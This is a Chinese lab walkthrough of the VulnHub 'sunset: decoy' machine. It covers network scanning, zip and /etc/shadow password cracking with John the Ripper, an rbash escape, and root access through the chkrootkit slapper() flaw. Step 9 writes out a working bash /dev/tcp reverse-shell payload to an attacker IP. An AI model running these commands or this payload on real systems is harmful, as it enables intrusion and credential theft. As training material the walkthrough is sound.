当前位置: 首页 > news >正文

sunset: decoy靶场渗透

sunset: decoy

来自 <sunset: decoy ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.138

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.138

22/tcp → SSH

  • 服务:OpenSSH 7.9p1 Debian 10+deb10u2
  • 协议:SSH v2
  • 指纹:提供了三种 host key (RSA/ECDSA/ED25519)。
  • 研判:
    • OpenSSH 7.9 属于 Debian 10 (buster) 的默认版本。
    • 7.9 并不是特别老,但已经有一些已知漏洞(例如用户枚举、弱配置风险)。
    • 攻击点:弱口令/密码爆破(hydra、patator)、公私钥登录尝试、旧 CVE 检查。

80/tcp → HTTP (Apache)

  • 服务:Apache 2.4.38 (Debian)
  • 页面标题:Index of / → 开启了目录索引。
  • 文件列表:发现 save.zip (3.0K, 2020-07-07 16:36)
  • 研判:
    • Apache 2.4.38 也是 Debian 10 默认版本。
    • 暴露敏感文件 save.zip → 这是最关键的突破点,可能包含源码、密码或配置文件。
    • 下一步:下载 save.zip 并解压 → 如果加密则尝试 zip2john + John/Hashcat 爆破。

操作系统与设备识别

  • 内核版本范围: Linux 4.15 – 5.19
  • 也可能是 MikroTik RouterOS 7.X (Linux 5.6.3 内核)
  • 说明: 由于是 VMware 环境,最可能是 Debian 10 Linux 虚拟机。

4,访问80端口开放的http服务

下载到一个zip文件,解压需要密码。只能继续信息收集,枚举扫描网页子目录

5,尝试john破解压缩包密码

zip2john save.zip > hash.txt

zip2john 工具介绍

1. 工具概述

  • zip2johnJohn the Ripper (JtR) 密码破解套件中的一个辅助工具。
  • 功能:将 加密压缩文件(ZIP 格式) 转换成 John 可识别的 hash 格式
  • 作用:把 ZIP 文件的密码学信息提取出来 → 然后交给 John/Hashcat 进行暴力破解、字典破解或规则破解。

2. 注意事项

  • 支持范围:只支持加密 ZIP 文件(PKZIP、AES 加密等常见格式)。
  • 效率问题:如果密码太复杂,暴力破解会很慢。
  • 配合字典:实际渗透中,通常结合 社工字典 或目标信息定制字典,而不仅仅依赖 rockyou。

john hash.txt

成功破解出压缩包密码

6,得到貌似来自于靶机etc目录的一些敏感文件,内有shadow文件,尝试破解用户密码。

存在一个奇怪的用户296640a3b825115a47b68fc44501c828。密文是$6开头,所以加密方式是SHA-512。使用破解脚本。

# coding=utf-8

import crypt

shadow_file = "/root/etc/shadow"                   # 获取系统密码路径

password_file = "/usr/share/wordlists/rockyou.txt"    # 字典文件

def get_pass(shadow_file):

    used = {}                           # key是用户,value是对应的密文

    f = open(shadow_file, "r")          # 读取系统密码文件

    userline = f.readlines()            # 转换为列表

    f.close()

    for item in userline:

        if len(item.split(":")[1]) > 3:    # 密文长度>3,说明有密码

            used[item.split(":")[0]] = item.split(":")[1] 

    return used

def look_d(password_file):

    f = open(password_file, 'r')

    mwlist = f.readlines()              # 字典 → 列表

    f.close()

    for i, item in enumerate(mwlist):

        mwlist[i] = item.strip("\n")    # 去除换行符

    return mwlist

def main(user_passfile, zidian):

    used = get_pass(user_passfile)      # 获取用户:密文

    mingwen = look_d(zidian)            # 获取所有明文候选

    for user in used:

        passwd = used[user]             # 取该用户密文

        salt = "$6$" + passwd.split("$")[2]  # 获取 salt(sha512)

        for passwdmw in mingwen:

            if passwd == crypt.crypt(passwdmw.rstrip(), salt): 

                print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))

if __name__ == "__main__":

    main(shadow_file, password_file)

还需要安装模块,太麻烦直接使用unshadow

unshadow /root/etc/passwd /root/etc/shadow > crack.txt

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

爆出来该用户密码是server

unshadow 工具介绍

工具概述

  • unshadow 是 John the Ripper 自带的工具。
  • 功能:把 /etc/passwd /etc/shadow 两个文件的内容合并成 John 能识别的 单一 hash 文件
  • 用途:Linux 系统里,密码 hash 不在 passwd,而是在 shadow。直接用 John 破解 shadow 不行,必须通过 passwd 的用户名字段把它们拼接起来。

简单理解

passwd 里有账号信息(用户名、UID、home、shell 等)。

shadow 里有密码 hash。

unshadow → 把这两份数据合并 → 生成一个可供 John 破解的文件。

常见问题

  • 权限不足
    • 普通用户无法读取 /etc/shadow,需要 root 权限。
    • 在渗透环境里,你通常是拿到目标机器的 shadow 文件(比如通过提权或信息泄露)。
  • hash 类型错误
    • 一般 Linux 的密码哈希是 sha512crypt($6$ 开头)。
    • John 会自动识别,但必要时可以手动指定:
      john --format=sha512crypt crack.txt

总结

  • unshadow 用来把 passwd 和 shadow 合并,生成 John 能破解的 hash 文件。
  • 标准用法:
    unshadow /etc/passwd /etc/shadow > crack.txt
    john --wordlist=rockyou.txt crack.txt
    john --show crack.txt
  • 在渗透测试或靶场中,这是破解 Linux 用户密码的标准流程。

7,然后再ssh登录用户296640a3b825115a47b68fc44501c828,前面已经知道开放了22端口

ssh 296640a3b825115a47b68fc44501c828@192.168.23.138

发现shell解释器是rbash,很多命令使用不了

rbash 简介

  • rbash = restricted bash,是 bash 的限制模式。
  • 常见限制包括:
    • 不能使用 cd 切换目录。
    • 不能修改 PATH、SHELL 等环境变量。
    • 不能执行带 / 的命令(如 /bin/ls)。
    • 不能重定向输入输出。
    • 有时还会限制你能运行的命令(chroot-like)。

目的:管理员通过 rbash 限制用户活动范围,避免随意执行命令或访问系统。

问题:这些限制大多是“软限制”,通过一些方法能绕过。

这里尝试ssh登录时逃逸

ssh 296640a3b825115a47b68fc44501c828@192.168.23.138 -t "bash --noprofile"

然后需要配置环境变量。

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

继续信息收集

得到第一个第一个flag

8,存在一个root用户创建的honeypot.decoy可执行文件

SV-502/目录下的logs文件中发现出现一条涉及chkrootkit的命令,这是一个后门检测工具

chkrootkit 工具介绍

1. 工具概述

  • chkrootkit = Check Rootkit
  • 它是 Linux/Unix 下常用的 Rootkit 检测工具
  • 能检查本机系统是否被 rootkit(内核级后门/木马)感染。
  • 检测内容主要包括:
    • 系统二进制命令是否被篡改(如 ls、ps、netstat 等)
    • 常见 Rootkit 特征(隐藏文件、可疑进程)
    • 网络接口、端口监听异常
    • 日志篡改痕迹

2. 常见检测项目

  • chkdirs:是否有隐藏目录
  • chklkm:检测恶意内核模块 (LKM)
  • chkproc:扫描可疑进程
  • chkbind:检查是否有后门绑定到端口
  • chkwtmp/lastlog:检查登录日志是否被篡改

cat SV-502/logs/log.txt

搜索一下这个工具存在的公开漏洞

searchsploit chkrootkit

阅读漏洞利用方法

漏洞概述

  • 漏洞来源:chkrootkit 的 shell 脚本函数 slapper()
  • 漏洞类型:本地提权 / 任意文件执行
  • 条件限制:
    1. /tmp 目录 可执行(没有挂载 noexec)
    2. 攻击者对 /tmp 有 写权限
    3. chkrootkit 以 root 用户运行(比如通过 cron 定期执行)

漏洞原因

在 slapper() 函数中,有如下核心代码:

for i in ${SLAPPER_FILES}; do
   if [ -f ${i} ]; then
      file_port=$file_port $i
      STATUS=1
   fi
done

  • 问题点
    • file_port=$file_port $i 这里缺少引号
    • shell 在赋值时会 将 $i 作为命令执行
    • 换句话说,如果 /tmp/update 存在,它会被当作 命令执行,执行权限继承 chkrootkit 的用户(通常是 root)
  • 修复方法

file_port="$file_port $i"

  • 加上引号后,$i 会被当作字符串拼接,而不是命令执行

 漏洞触发条件

  1. /tmp 目录必须 可执行(noexec 会阻止直接执行)
  2. 攻击者有 非 root 写入权限
  3. chkrootkit 执行时为 root 用户

实战意义:如果管理员每天通过 cron.daily 执行 chkrootkit,攻击者可以在 /tmp 放置恶意程序并被执行,从而 提权为 root

9,在 /tmp 下创建恶意文件 update:

touch /tmp/update

chmod +x /tmp/update

写入反弹 shell payload:

echo "bash -c 'exec bash -i &>/dev/tcp/192.168.23.128/4444 <&1'" > /tmp/update

确认 chkrootkit 执行方式,未发现定期任务直接运行 chkrootkit(意味着这不是通常意义的写定时任务提权)

10,用户目录下有可执行文件 honeypot.decoy,执行后出现 8 个选项。第五个选项 “Launch an AV Scan”怀疑会执行 chkrootkit

验证执行

ps -aux | grep chk

选择选项五后,发现 chkrootkit 正在运行

11,提权操作流程,在靶机执行

./honeypot.decoy

# 选择第 5 个选项

预先在攻击机执行nc命令接收反弹 shell

nc -lvvp 4444

总结,一旦选择选项五,/tmp/update 被 chkrootkit 执行,恶意 payload 将以 root 权限运行,而后攻击机获得root反弹shell

最后成功得到flag

http://www.dtcms.com/a/358938.html

相关文章:

  • 20250830_Oracle 19c CDB+PDB(QMS)默认表空间、临时表空间、归档日志、闪回恢复区巡检手册
  • day42-Ansible
  • 动态规划--Day05--最大子数组和--53. 最大子数组和,2606. 找到最大开销的子字符串,1749. 任意子数组和的绝对值的最大值
  • 微信小程序开发教程(三)
  • java如何保证线程安全
  • RLPD——利用离线数据实现高效的在线RL:不进行离线RL预训练,直接应用离策略方法SAC,在线学习时对称采样离线数据
  • 【OpenGL】LearnOpenGL学习笔记17 - Cubemap、Skybox、环境映射(反射、折射)
  • 【pandas】.loc常用操作
  • 【SpringMVC】SSM框架【二】——SpringMVC超详细
  • 【运维篇第三弹】《万字带图详解分库分表》从概念到Mycat中间件使用再到Mycat分片规则,详解分库分表,有使用案例
  • DAEDAL:动态调整生成长度,让大语言模型推理效率提升30%的新方法
  • 基于SpringBoot的电脑商城系统【2026最新】
  • 漫谈《数字图像处理》之分水岭分割
  • SystemVerilog学习【七】包(Package)详解
  • REST-assured获取响应数据详解
  • 数据结构 | 深度解析二叉树的基本原理
  • 访问Nginx 前端页面,接口报502 Bad Gateway
  • 【DeepSeek】ubuntu安装deepseek、docker、ragflow
  • 简历书写---自我评价怎么写
  • Day18_【机器学习—交叉验证与网格搜索】
  • Unity核心概念①
  • 【Linux】基础I/O和文件系统
  • PHP单独使用phinx使用数据库迁移
  • 全栈开源,高效赋能——启英泰伦新官网升级上线!
  • 快速学习和掌握Jackson 、Gson、Fastjson
  • React Native基本用法
  • 大语言模型生成的“超龄劳动者权益保障制度系统化完善建议(修订版)”
  • 下一波红利:用 #AI编程 闯入小游戏赛道,#看广告变现 模式正在崛起!
  • I2C的类比水池和大海
  • 【前端教程】DOM 操作入门专栏:从基础到实战